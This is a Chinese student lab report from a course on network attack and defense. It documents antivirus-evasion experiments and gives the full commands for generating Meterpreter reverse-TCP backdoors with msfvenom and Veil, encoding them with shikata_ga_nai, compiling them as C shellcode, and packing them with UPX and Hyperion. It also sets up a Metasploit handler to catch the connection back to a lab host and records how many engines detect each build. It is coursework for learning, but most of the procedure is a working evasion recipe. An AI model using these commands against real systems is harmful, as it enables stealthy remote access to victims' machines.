20232415 2025-2026-1 《网络与系统攻防技术》实验三实验报告

一、实验目的
1.利用msfvenom生成多种类型的文件及其多次编码版本
2.利用veil生成恶意代码
3.利用C语言结合shellcode生成恶意文件
4.利用upx压缩壳以及hyp加密壳技术实现免杀
5.开启杀软后回连实测
二、实验过程
接下来的免杀效果将基于virscan检测平台检测结果进行评价，网址为https://www.virscan.org。

主机IP：
172.16.240.137
虚拟机IP：
192.168.52.131
1.1构建评价基准
利用msfvenom直接生成一个后门程序，将其在virscan的检测结果作为评价基准

使用命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 PORT=2415 -f exe > black20232415.exe

使用virscon检测，检测结果为：17/48，即在48个检测引擎中，有17个引擎认为该文件含有恶意代码。

1.2使用Msfvenom编码
使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_2.exe

生成一个Windows下的恶意文件并使用名为shikata_ga_nai的编码技术进行伪装。

使用virscon检测，检测结果为：14/48，即在48个检测引擎中，有14个引擎认为该文件含有恶意代码。比基准结果少一点，认为有些许免杀效果，但效果不大。

使用命令：msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f exe > black20232415_3.exe
对文件进行10次编码

免杀检测结果为：

即在48个检测引擎中，有12个引擎认为该文件含有恶意代码。比基准结果少一点，认为有些许免杀效果，但效果不大。

使用命令：msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x>black20232415.jar
生成jar文件和编码的jar文件

免杀检测结果为：

即在48个检测引擎中，有14个引擎认为该文件含有恶意代码。比基准结果少一点，认为有些许免杀效果，但效果不大。

使用命令：msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x>black20232415_2.jar
对jar文件进行十次编码

免杀检测结果为：

即在48个检测引擎中，有14个引擎认为该文件含有恶意代码。比基准结果少一点，认为有些许免杀效果，但效果不大。

使用命令：msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 x> black20232415.php
生成php文件和编码的php文件

免杀检测结果为：

即在48个检测引擎中，有8个引擎认为该文件含有恶意代码。比基准结果少的多，效果比较明显。

使用命令：msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.52.131 LPORT=2415 x> black20232415_2.php
对php文件进行10次编码

免杀检测结果为：

即在48个检测引擎中，有3个引擎认为该文件含有恶意代码。比基准结果少很多，效果显著。

php恶意代码的动态执行、动态构造变量函数名等特性让恶意行为易隐藏。

1.3 使用veil免杀工具
准备环境：
下载安装veil

在交互界面中输入use 1打开Evasion躲避模块，生成能够免杀的恶意可执行文件。

输入list查看所有可用的载荷种类

输入use 7，生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件

输入配置信息：
set LHOST 192.168.52.131
set LPORT 2415
generate
veil20232415

生成的可执行文件：

免杀检测结果为：

即在48个检测引擎中，有10个引擎认为该文件含有恶意代码。比基准结果少的多，有一定的免杀效果。veil通过模拟正常的编译流程，极大提高了恶意文件的免杀能力。

1.4使用C语言调用Shellcode

使用命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=2415 -f c
将恶意代码嵌入到一个用C语言编写的程序中

为上述生成的恶意代码增添一个main函数

使用命令：i686-w64-mingw32-g++ black20232415.c -o black20232415.exe
将C文件编译为可执行文件

免杀检测结果为：

即在48个检测引擎中，有8个引擎认为该文件含有恶意代码。比基准结果少的多，有一定的免杀效果。

1.5使用加壳工具

使用压缩壳UPX

使用命令：upx black20232415_c.exe -o black20232415_c_upx.exe
给shellcode加上一个upx压缩壳

免杀检测结果为：

即在48个检测引擎中，有7个引擎认为该文件含有恶意代码。比基准结果少的多，有较强的免杀效果。它通过加密和压缩，隐藏了恶意代码的某些特征

使用加密壳Hyperion

使用命令：
cp black20232415_c.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
将待加密的文件black20232415_c.exe复制到Hyperion工具所在的工作目录中，再将当前的工作目录切换到Hyperion所在的文件夹。

使用命令：wine hyperion.exe -v black20232415_c.exe black20232415_c_hyp.exe

免杀检测结果为：

即在48个检测引擎中，有20个引擎认为该文件含有恶意代码。比基准结果还要多，免杀效果减弱了。可能是杀毒软件已经将使用Hyperion加密壳这种行为，学习为一种高风险的恶意行为模式。

4.6组合使用msfvenom工具与加壳技术

首先通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.52.131 LPORT=2415 -f c > 20232415_test.c生成一个经过10次多态编码的C语言格式的shellcode

再向生成的文件中加入main函数

通过命令：i686-w64-mingw32-g++ 20232415_test.c -o 20232415_test_c.exe将其编译为可执行文件

通过命令：upx 20232415_test_c.exe -o 20232415_test_c_upx.exe为其加upx压缩壳

通过命令：wine hyperion.exe -v 20232415_test_c_upx.exe 20232415_test_c_upx_hyp.exe为其加hyp加密壳

免杀检测结果为：

即在48个检测引擎中，有19个引擎认为该文件含有恶意代码。比基准结果还要多，免杀效果减弱了。猜测应该是加密壳的特征被被杀毒软件所识别导致的。

4.7开启杀软回连实测

进入msf的控制台，配置监听处理器、载荷类型、IP地址与监听端口等相关信息
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.131
set LPORT 2415
exploit

Windows主机作为目标主机，在其上启动后门程序black20232415_c_upx.exe。发现启动瞬间就被火绒发现并卸载了

回连失败

三、问题及解决方案
问题一：
解决方法：

四、问题回答
（1）杀软是如何检测出恶意代码的？
杀软主要通过特征码检测、行为分析、启发式扫描三种机制检测恶意代码。
（2）免杀是做什么？
免杀通过对恶意代码进行技术处理，规避或绕过杀毒软件的检测与拦截，使恶意代码能够在目标系统中正常运行并完成预期恶意行为。
（3）免杀的基本方法有哪些？
免杀的基本方法主要包括通过编码器修改特征码、用压缩壳或加密壳隐藏原始代码、利用非主流平台或编程语言重新生成代码，以及组合多种技术多层隐藏恶意属性。
五、思想感悟
本次实验我学习并实践了使用msfvenom、veil、加壳工具进行免杀的技术手段，通过这次实验，我对于免杀技术的原理和技术有了初步的了解。
尽管隐藏恶意代码的手段有很多，但现代杀毒软件仍能有效的将其识别出来，这说明杀毒软件仍是保护我们的一种重要且有效的手段。同时，在任务六中，尽管我使用了多种免杀手段，但效果仍然不如使用某些单一的免杀方式，这说明免杀程序并非越复杂越好，需要具体使用某些合适的免杀手段的组合来实现免杀的目的。